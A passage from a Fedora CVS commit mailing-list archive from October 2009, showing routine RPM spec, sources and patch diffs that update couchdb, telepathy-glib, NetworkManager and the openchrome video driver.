Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 02:10:50 -0000	1.4
+++ sources	15 Oct 2009 22:43:41 -0000	1.5
@@ -1 +1 @@
-9583efae5adfb3f9043e970fef825561  apache-couchdb-0.9.1.tar.gz
+227886b5ecbb6bcbbdc538aac4592b0e  apache-couchdb-0.10.0.tar.gz



From bpepple at fedoraproject.org  Thu Oct 15 22:44:54 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Thu, 15 Oct 2009 22:44:54 +0000 (UTC)
Subject: rpms/telepathy-glib/devel .cvsignore, 1.39, 1.40 sources, 1.39,
	1.40 telepathy-glib-broken-pkgconfig.patch, 1.5,
	1.6 telepathy-glib.spec, 1.48, 1.49
Message-ID: <20091015224454.88C4F11C00DB@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-glib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18486

Modified Files:
	.cvsignore sources telepathy-glib-broken-pkgconfig.patch 
	telepathy-glib.spec 
Log Message:
* Thu Oct 15 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.9.1-1
- Update to 0.9.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/devel/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	28 Sep 2009 20:10:39 -0000	1.39
+++ .cvsignore	15 Oct 2009 22:44:52 -0000	1.40
@@ -1 +1 @@
-telepathy-glib-0.9.0.tar.gz
+telepathy-glib-0.9.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/devel/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	28 Sep 2009 20:10:39 -0000	1.39
+++ sources	15 Oct 2009 22:44:52 -0000	1.40
@@ -1 +1 @@
-1ebb5b089db66db42647d62df5194327  telepathy-glib-0.9.0.tar.gz
+fa82a4474b3a5436b5b3cb44cbc9a9b4  telepathy-glib-0.9.1.tar.gz

telepathy-glib-broken-pkgconfig.patch:
 telepathy-glib-uninstalled.pc.in |    3 +--
 telepathy-glib.pc.in             |    3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

Index: telepathy-glib-broken-pkgconfig.patch
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/devel/telepathy-glib-broken-pkgconfig.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- telepathy-glib-broken-pkgconfig.patch	28 Sep 2009 20:51:31 -0000	1.5
+++ telepathy-glib-broken-pkgconfig.patch	15 Oct 2009 22:44:53 -0000	1.6
@@ -1,24 +1,24 @@
-diff -urp telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib.pc.in telepathy-glib-0.7.15/telepathy-glib/telepathy-glib.pc.in
---- telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib.pc.in	2008-09-04 11:31:57.000000000 -0400
-+++ telepathy-glib-0.7.15/telepathy-glib/telepathy-glib.pc.in	2008-09-19 16:25:48.000000000 -0400
+diff -urp telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib.pc.in telepathy-glib-0.9.1/telepathy-glib/telepathy-glib.pc.in
+--- telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib.pc.in	2009-10-15 12:38:10.000000000 -0400
++++ telepathy-glib-0.9.1/telepathy-glib/telepathy-glib.pc.in	2009-10-15 18:36:58.785652020 -0400
 @@ -6,7 +6,6 @@ includedir=@includedir@
  Name: Telepathy-GLib
  Description: GLib utility library for the Telepathy framework
  Version: @VERSION@
 -Requires: pkg-config >= 0.21
--Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
-+Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
+-Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
++Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
  Libs: -L${libdir} -ltelepathy-glib
  Cflags: -I${includedir}/telepathy-1.0
-diff -urp telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in telepathy-glib-0.7.15/telepathy-glib/telepathy-glib-uninstalled.pc.in
---- telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in	2008-09-04 11:31:57.000000000 -0400
-+++ telepathy-glib-0.7.15/telepathy-glib/telepathy-glib-uninstalled.pc.in	2008-09-19 16:25:59.000000000 -0400
+diff -urp telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in telepathy-glib-0.9.1/telepathy-glib/telepathy-glib-uninstalled.pc.in
+--- telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in	2009-10-15 12:38:10.000000000 -0400
++++ telepathy-glib-0.9.1/telepathy-glib/telepathy-glib-uninstalled.pc.in	2009-10-15 18:37:21.313651409 -0400
 @@ -6,7 +6,6 @@ abs_top_builddir=@abs_top_builddir@
  Name: Telepathy-GLib (uninstalled copy)
  Description: GLib utility library for the Telepathy framework
  Version: @VERSION@
 -Requires: pkg-config >= 0.21
--Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
-+Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
+-Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
++Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
  Libs: ${abs_top_builddir}/telepathy-glib/libtelepathy-glib.la
  Cflags: -I${abs_top_srcdir} -I${abs_top_builddir}


Index: telepathy-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/devel/telepathy-glib.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- telepathy-glib.spec	28 Sep 2009 20:10:39 -0000	1.48
+++ telepathy-glib.spec	15 Oct 2009 22:44:53 -0000	1.49
@@ -1,9 +1,9 @@
 %define	dbus_ver	0.95
 %define	dbus_glib_ver	0.73
-%define	glib_ver	2.16
+%define	glib_ver	2.20
 
 Name:           telepathy-glib
-Version:        0.9.0
+Version:        0.9.1
 Release:        1%{?dist}
 Summary:        GLib bindings for Telepathy
 
@@ -89,6 +89,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 15 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.9.1-1
+- Update to 0.9.1.
+
 * Mon Sep 28 2009 Bastien Nocera <bnocera at redhat.com> 0.9.0-1
 - Update to 0.9.0
 



From dcbw at fedoraproject.org  Thu Oct 15 22:47:09 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 15 Oct 2009 22:47:09 +0000 (UTC)
Subject: rpms/NetworkManager/F-11 NetworkManager.spec, 1.279, 1.280 sources, 
	1.145, 1.146
Message-ID: <20091015224709.A9F8E11C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19332

Modified Files:
	NetworkManager.spec sources 
Log Message:
Update tarball with modem detection and dialing fixes



Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/NetworkManager.spec,v
retrieving revision 1.279
retrieving revision 1.280
diff -u -p -r1.279 -r1.280
--- NetworkManager.spec	15 Oct 2009 15:58:12 -0000	1.279
+++ NetworkManager.spec	15 Oct 2009 22:47:09 -0000	1.280
@@ -351,7 +351,7 @@ fi
 - nm: add support for PEAP-GTC (rh #451027)
 - nm: ensure VPN secrets aren't re-used when they shouldn't be
 - nm: fix race causing erroneous ethernet carrier change events
-- nm: fixes for ZTE/Onda modem detection
+- nm: fixes for ZTE, Onda, and Sierra modem detection and operation
 - nm: enhanced support for Ericsson 'mbm' modems
 - nm: work around PPP bug returning bogus nameservers
 - applet: PEAP, TTLS, and wired 802.1x fixes


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/sources,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- sources	15 Oct 2009 15:58:12 -0000	1.145
+++ sources	15 Oct 2009 22:47:09 -0000	1.146
@@ -1,2 +1,2 @@
-451ac8f50f400c821b4a911074222063  NetworkManager-0.7.1.996.git20091015.tar.bz2
 e7ee1e623756c632134dc6b4cf47bcb1  network-manager-applet-0.7.1.996.tar.bz2
+c7a822f6308a6eb302195fe4b385dc6c  NetworkManager-0.7.1.996.git20091015.tar.bz2



From allisson at fedoraproject.org  Thu Oct 15 22:47:59 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 15 Oct 2009 22:47:59 +0000 (UTC)
Subject: rpms/couchdb/F-11 .cvsignore, 1.4, 1.5 couchdb.spec, 1.4,
	1.5 import.log, 1.4, 1.5 sources, 1.4, 1.5
Message-ID: <20091015224759.86C1511C00DB@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/couchdb/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19423/F-11

Modified Files:
	.cvsignore couchdb.spec import.log sources 
Log Message:

Update to 0.10.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	31 Jul 2009 02:21:24 -0000	1.4
+++ .cvsignore	15 Oct 2009 22:47:59 -0000	1.5
@@ -1 +1 @@
-apache-couchdb-0.9.1.tar.gz
+apache-couchdb-0.10.0.tar.gz


Index: couchdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-11/couchdb.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- couchdb.spec	31 Jul 2009 02:21:25 -0000	1.4
+++ couchdb.spec	15 Oct 2009 22:47:59 -0000	1.5
@@ -3,23 +3,24 @@
 %define couchdb_group couchdb
 %define couchdb_home %{_localstatedir}/lib/couchdb
 Name:           couchdb
-Version:        0.9.1
+Version:        0.10.0
 Release:        1%{?dist}
 Summary:        A document database server, accessible via a RESTful JSON API
 
 Group:          Applications/Databases
 License:        ASL 2.0
-URL:            http://incubator.apache.org/couchdb/
+URL:            http://couchdb.apache.org/
 Source0:        http://www.apache.org/dist/%{name}/%{version}/%{tarname}-%{version}.tar.gz
 Source1:        %{name}.init
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  erlang 
+BuildRequires:  erlang
 BuildRequires:  libicu-devel 
 BuildRequires:  js-devel 
 BuildRequires:  help2man
 #BuildRequires:  libcurl-devel
 BuildRequires:  curl-devel
+
 Requires:       erlang 
 #Requires:       %{_bindir}/icu-config
 Requires:       libicu-devel
@@ -43,8 +44,8 @@ JavaScript acting as the default view de
 %prep
 %setup -q -n %{tarname}-%{version}
 # Patch pid location
-sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
-bin/couchdb.tpl.in
+#sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
+#bin/couchdb.tpl.in
 
 
 %build
@@ -68,6 +69,12 @@ mkdir -p $RPM_BUILD_ROOT%{_localstatedir
 # Create /var/lib/couchdb
 mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/lib/couchdb
 
+# Create /etc/couchdb/default.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/default.d
+
+# Create /etc/couchdb/local.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/local.d
+
 ## Use /etc/sysconfig instead of /etc/default
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
 mv $RPM_BUILD_ROOT%{_sysconfdir}/default/couchdb \
@@ -113,6 +120,8 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS BUGS CHANGES LICENSE NEWS NOTICE README THANKS
 %dir %{_sysconfdir}/couchdb
+%dir %{_sysconfdir}/couchdb/local.d
+%dir %{_sysconfdir}/couchdb/default.d
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/default.ini
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/local.ini
 #%config(noreplace) %{_sysconfdir}/default/couchdb
@@ -129,6 +138,9 @@ fi
 %dir %attr(0755, %{couchdb_user}, root) %{_localstatedir}/lib/couchdb
 
 %changelog
+* Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-1
+- Update to 0.10.0.
+
 * Thu Jul 30 2009 Allisson Azevedo <allisson at gmail.com> 0.9.1-1
 - Update to 0.9.1.
 - Drop couchdb-0.9.0-pid.patch.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-11/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	31 Jul 2009 02:21:25 -0000	1.4
+++ import.log	15 Oct 2009 22:47:59 -0000	1.5
@@ -2,3 +2,4 @@ couchdb-0_8_1-4_fc10:HEAD:couchdb-0.8.1-
 couchdb-0_9_0-1_fc10:F-11:couchdb-0.9.0-1.fc10.src.rpm:1241659387
 couchdb-0_9_0-2_fc10:F-11:couchdb-0.9.0-2.fc10.src.rpm:1241742295
 couchdb-0_9_1-1_fc11:F-11:couchdb-0.9.1-1.fc11.src.rpm:1249006797
+couchdb-0_10_0-1_fc11:F-11:couchdb-0.10.0-1.fc11.src.rpm:1255646754


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 02:21:25 -0000	1.4
+++ sources	15 Oct 2009 22:47:59 -0000	1.5
@@ -1 +1 @@
-9583efae5adfb3f9043e970fef825561  apache-couchdb-0.9.1.tar.gz
+227886b5ecbb6bcbbdc538aac4592b0e  apache-couchdb-0.10.0.tar.gz



From allisson at fedoraproject.org  Thu Oct 15 22:50:31 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 15 Oct 2009 22:50:31 +0000 (UTC)
Subject: rpms/couchdb/F-10 .cvsignore, 1.4, 1.5 couchdb.spec, 1.4,
	1.5 import.log, 1.4, 1.5 sources, 1.4, 1.5
Message-ID: <20091015225031.36E3A11C029F@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/couchdb/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21573/F-10

Modified Files:
	.cvsignore couchdb.spec import.log sources 
Log Message:

Update to 0.10.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	31 Jul 2009 02:26:54 -0000	1.4
+++ .cvsignore	15 Oct 2009 22:50:30 -0000	1.5
@@ -1 +1 @@
-apache-couchdb-0.9.1.tar.gz
+apache-couchdb-0.10.0.tar.gz


Index: couchdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-10/couchdb.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- couchdb.spec	31 Jul 2009 02:26:54 -0000	1.4
+++ couchdb.spec	15 Oct 2009 22:50:30 -0000	1.5
@@ -3,23 +3,24 @@
 %define couchdb_group couchdb
 %define couchdb_home %{_localstatedir}/lib/couchdb
 Name:           couchdb
-Version:        0.9.1
+Version:        0.10.0
 Release:        1%{?dist}
 Summary:        A document database server, accessible via a RESTful JSON API
 
 Group:          Applications/Databases
 License:        ASL 2.0
-URL:            http://incubator.apache.org/couchdb/
+URL:            http://couchdb.apache.org/
 Source0:        http://www.apache.org/dist/%{name}/%{version}/%{tarname}-%{version}.tar.gz
 Source1:        %{name}.init
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  erlang 
+BuildRequires:  erlang
 BuildRequires:  libicu-devel 
 BuildRequires:  js-devel 
 BuildRequires:  help2man
 #BuildRequires:  libcurl-devel
 BuildRequires:  curl-devel
+
 Requires:       erlang 
 #Requires:       %{_bindir}/icu-config
 Requires:       libicu-devel
@@ -43,8 +44,8 @@ JavaScript acting as the default view de
 %prep
 %setup -q -n %{tarname}-%{version}
 # Patch pid location
-sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
-bin/couchdb.tpl.in
+#sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
+#bin/couchdb.tpl.in
 
 
 %build
@@ -68,6 +69,12 @@ mkdir -p $RPM_BUILD_ROOT%{_localstatedir
 # Create /var/lib/couchdb
 mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/lib/couchdb
 
+# Create /etc/couchdb/default.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/default.d
+
+# Create /etc/couchdb/local.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/local.d
+
 ## Use /etc/sysconfig instead of /etc/default
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
 mv $RPM_BUILD_ROOT%{_sysconfdir}/default/couchdb \
@@ -113,6 +120,8 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS BUGS CHANGES LICENSE NEWS NOTICE README THANKS
 %dir %{_sysconfdir}/couchdb
+%dir %{_sysconfdir}/couchdb/local.d
+%dir %{_sysconfdir}/couchdb/default.d
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/default.ini
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/local.ini
 #%config(noreplace) %{_sysconfdir}/default/couchdb
@@ -129,6 +138,9 @@ fi
 %dir %attr(0755, %{couchdb_user}, root) %{_localstatedir}/lib/couchdb
 
 %changelog
+* Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-1
+- Update to 0.10.0.
+
 * Thu Jul 30 2009 Allisson Azevedo <allisson at gmail.com> 0.9.1-1
 - Update to 0.9.1.
 - Drop couchdb-0.9.0-pid.patch.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-10/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	31 Jul 2009 02:26:54 -0000	1.4
+++ import.log	15 Oct 2009 22:50:30 -0000	1.5
@@ -2,3 +2,4 @@ couchdb-0_8_1-4_fc10:F-10:couchdb-0.8.1-
 couchdb-0_9_0-1_fc10:F-10:couchdb-0.9.0-1.fc10.src.rpm:1241659502
 couchdb-0_9_0-2_fc10:F-10:couchdb-0.9.0-2.fc10.src.rpm:1241742435
 couchdb-0_9_1-1_fc11:F-10:couchdb-0.9.1-1.fc11.src.rpm:1249007041
+couchdb-0_10_0-1_fc11:F-10:couchdb-0.10.0-1.fc11.src.rpm:1255646940


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 02:26:54 -0000	1.4
+++ sources	15 Oct 2009 22:50:30 -0000	1.5
@@ -1 +1 @@
-9583efae5adfb3f9043e970fef825561  apache-couchdb-0.9.1.tar.gz
+227886b5ecbb6bcbbdc538aac4592b0e  apache-couchdb-0.10.0.tar.gz



From xavierb at fedoraproject.org  Thu Oct 15 22:52:14 2009
From: xavierb at fedoraproject.org (Xavier Bachelot)
Date: Thu, 15 Oct 2009 22:52:14 +0000 (UTC)
Subject: rpms/xorg-x11-drv-openchrome/F-11 xorg-x11-drv-openchrome.spec, 1.46,
	1.47 openchrome-0.2.903-PreInitCRTC.patch, 1.1,
	NONE openchrome-0.2.903-XO-1.5-panel.patch, 1.1,
	NONE openchrome-0.2.903-disable_TMDS_by_default.patch, 1.1,
	NONE openchrome-0.2.903-latest_snapshot.patch, 1.8,
	NONE openchrome-0.2.903-remove_loader_symbol_lists.patch, 1.1,
	NONE openchrome-vt1625.patch, 1.1, NONE
Message-ID: <20091015225214.99F8711C00DB@cvs1.fedora.phx.redhat.com>

Author: xavierb

Update of /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22323

Modified Files:
	xorg-x11-drv-openchrome.spec 
Removed Files:
	openchrome-0.2.903-PreInitCRTC.patch 
	openchrome-0.2.903-XO-1.5-panel.patch 
	openchrome-0.2.903-disable_TMDS_by_default.patch 
	openchrome-0.2.903-latest_snapshot.patch 
	openchrome-0.2.903-remove_loader_symbol_lists.patch 
	openchrome-vt1625.patch 
Log Message:
clean up old patches and don't use autoconf


Index: xorg-x11-drv-openchrome.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-11/xorg-x11-drv-openchrome.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- xorg-x11-drv-openchrome.spec	15 Oct 2009 22:35:48 -0000	1.46
+++ xorg-x11-drv-openchrome.spec	15 Oct 2009 22:52:14 -0000	1.47
@@ -10,7 +10,7 @@
 Summary:	Xorg X11 openchrome video driver
 Name:		xorg-x11-drv-openchrome
 Version:	0.2.904
-Release:	1%{?dist}
+Release:	1%{?dist}.1
 URL:		http://www.openchrome.org
 License:	MIT
 Group:		User Interface/X Hardware Support
@@ -20,20 +20,10 @@ Source0:	http://www.openchrome.org/relea
 Source1:	openchrome.xinf
 
 # Patches from upstream trunk :
-# svn diff http://svn.openchrome.org/svn/tags/release_0_2_903 http://svn.openchrome.org/svn/trunk
-Patch99:         openchrome-0.2.903-latest_snapshot.patch
+
 # Fedora specific patches :
-#Patch100:       openchrome-0.2.903-disable_hwcursor.patch
+
 # Experimental patches (branch backport, etc...): 
-#Patch200:       openchrome-0.2.903-vx855_support.patch
-#Patch201:       openchrome-0.2.903-pll_rework.patch
-#Patch202:       openchrome-0.2.903-fix_cursor_on_secondary.patch
-Patch203:       openchrome-0.2.903-disable_TMDS_by_default.patch
-#Patch204:       openchrome-switch-on-lvds-pads-only-for-active-channels.patch
-Patch205:       openchrome-0.2.903-XO-1.5-panel.patch
-Patch206:       openchrome-0.2.903-remove_loader_symbol_lists.patch
-#Patch207:       openchrome-0.2.903-fix_null_pointer_deref_in_viaExaCheckComposite.patch
-Patch208:       openchrome-vt1625.patch
 
 ExclusiveArch:	%{ix86} x86_64
 
@@ -73,7 +63,6 @@ X.Org X11 openchrome video driver XvMC d
 
 
 %build
-autoreconf -iv
 %configure --disable-static --enable-dri \
 %if %{with_debug}
            --enable-debug --enable-xv-debug
@@ -127,6 +116,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Xavier Bachelot <xavier at bachelot.org> - 0.2.904-1.1
+- Don't call autoconf.
+
 * Thu Oct 15 2009 Xavier Bachelot <xavier at bachelot.org> - 0.2.904-1
 - openchrome 0.2.904.
 


--- openchrome-0.2.903-PreInitCRTC.patch DELETED ---


--- openchrome-0.2.903-XO-1.5-panel.patch DELETED ---


--- openchrome-0.2.903-disable_TMDS_by_default.patch DELETED ---


--- openchrome-0.2.903-latest_snapshot.patch DELETED ---


--- openchrome-0.2.903-remove_loader_symbol_lists.patch DELETED ---


--- openchrome-vt1625.patch DELETED ---



From bpepple at fedoraproject.org  Thu Oct 15 22:57:09 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Thu, 15 Oct 2009 22:57:09 +0000 (UTC)
Subject: rpms/telepathy-glib/F-12 .cvsignore, 1.39, 1.40 sources, 1.39,
	1.40 telepathy-glib-broken-pkgconfig.patch, 1.5,
	1.6 telepathy-glib.spec, 1.48, 1.49
Message-ID: <20091015225709.7B34011C00DB@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-glib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25476

Modified Files:
	.cvsignore sources telepathy-glib-broken-pkgconfig.patch 
	telepathy-glib.spec 
Log Message:
* Thu Oct 15 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.9.1-1
- Update to 0.9.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/F-12/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	28 Sep 2009 20:10:39 -0000	1.39
+++ .cvsignore	15 Oct 2009 22:57:08 -0000	1.40
@@ -1 +1 @@
-telepathy-glib-0.9.0.tar.gz
+telepathy-glib-0.9.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/F-12/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	28 Sep 2009 20:10:39 -0000	1.39
+++ sources	15 Oct 2009 22:57:08 -0000	1.40
@@ -1 +1 @@
-1ebb5b089db66db42647d62df5194327  telepathy-glib-0.9.0.tar.gz
+fa82a4474b3a5436b5b3cb44cbc9a9b4  telepathy-glib-0.9.1.tar.gz

telepathy-glib-broken-pkgconfig.patch:
 telepathy-glib-uninstalled.pc.in |    3 +--
 telepathy-glib.pc.in             |    3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

Index: telepathy-glib-broken-pkgconfig.patch
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-glib/F-12/telepathy-glib-broken-pkgconfig.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- telepathy-glib-broken-pkgconfig.patch	28 Sep 2009 20:51:31 -0000	1.5
+++ telepathy-glib-broken-pkgconfig.patch	15 Oct 2009 22:57:08 -0000	1.6
@@ -1,24 +1,24 @@
-diff -urp telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib.pc.in telepathy-glib-0.7.15/telepathy-glib/telepathy-glib.pc.in
---- telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib.pc.in	2008-09-04 11:31:57.000000000 -0400
-+++ telepathy-glib-0.7.15/telepathy-glib/telepathy-glib.pc.in	2008-09-19 16:25:48.000000000 -0400
+diff -urp telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib.pc.in telepathy-glib-0.9.1/telepathy-glib/telepathy-glib.pc.in
+--- telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib.pc.in	2009-10-15 12:38:10.000000000 -0400
++++ telepathy-glib-0.9.1/telepathy-glib/telepathy-glib.pc.in	2009-10-15 18:36:58.785652020 -0400
 @@ -6,7 +6,6 @@ includedir=@includedir@
  Name: Telepathy-GLib
  Description: GLib utility library for the Telepathy framework
  Version: @VERSION@
 -Requires: pkg-config >= 0.21
--Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
-+Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
+-Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
++Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
  Libs: -L${libdir} -ltelepathy-glib
  Cflags: -I${includedir}/telepathy-1.0
-diff -urp telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in telepathy-glib-0.7.15/telepathy-glib/telepathy-glib-uninstalled.pc.in
---- telepathy-glib-0.7.15.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in	2008-09-04 11:31:57.000000000 -0400
-+++ telepathy-glib-0.7.15/telepathy-glib/telepathy-glib-uninstalled.pc.in	2008-09-19 16:25:59.000000000 -0400
+diff -urp telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in telepathy-glib-0.9.1/telepathy-glib/telepathy-glib-uninstalled.pc.in
+--- telepathy-glib-0.9.1.OLD/telepathy-glib/telepathy-glib-uninstalled.pc.in	2009-10-15 12:38:10.000000000 -0400
++++ telepathy-glib-0.9.1/telepathy-glib/telepathy-glib-uninstalled.pc.in	2009-10-15 18:37:21.313651409 -0400
 @@ -6,7 +6,6 @@ abs_top_builddir=@abs_top_builddir@
  Name: Telepathy-GLib (uninstalled copy)
  Description: GLib utility library for the Telepathy framework
  Version: @VERSION@
 -Requires: pkg-config >= 0.21
--Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
-+Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.16, gobject-2.0 >= 2.16 gio-2.0
+-Requires.private: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
++Requires: dbus-glib-1 >= 0.73, glib-2.0 >= 2.20, gobject-2.0 >= 2.20, gio-2.0 >= 2.20
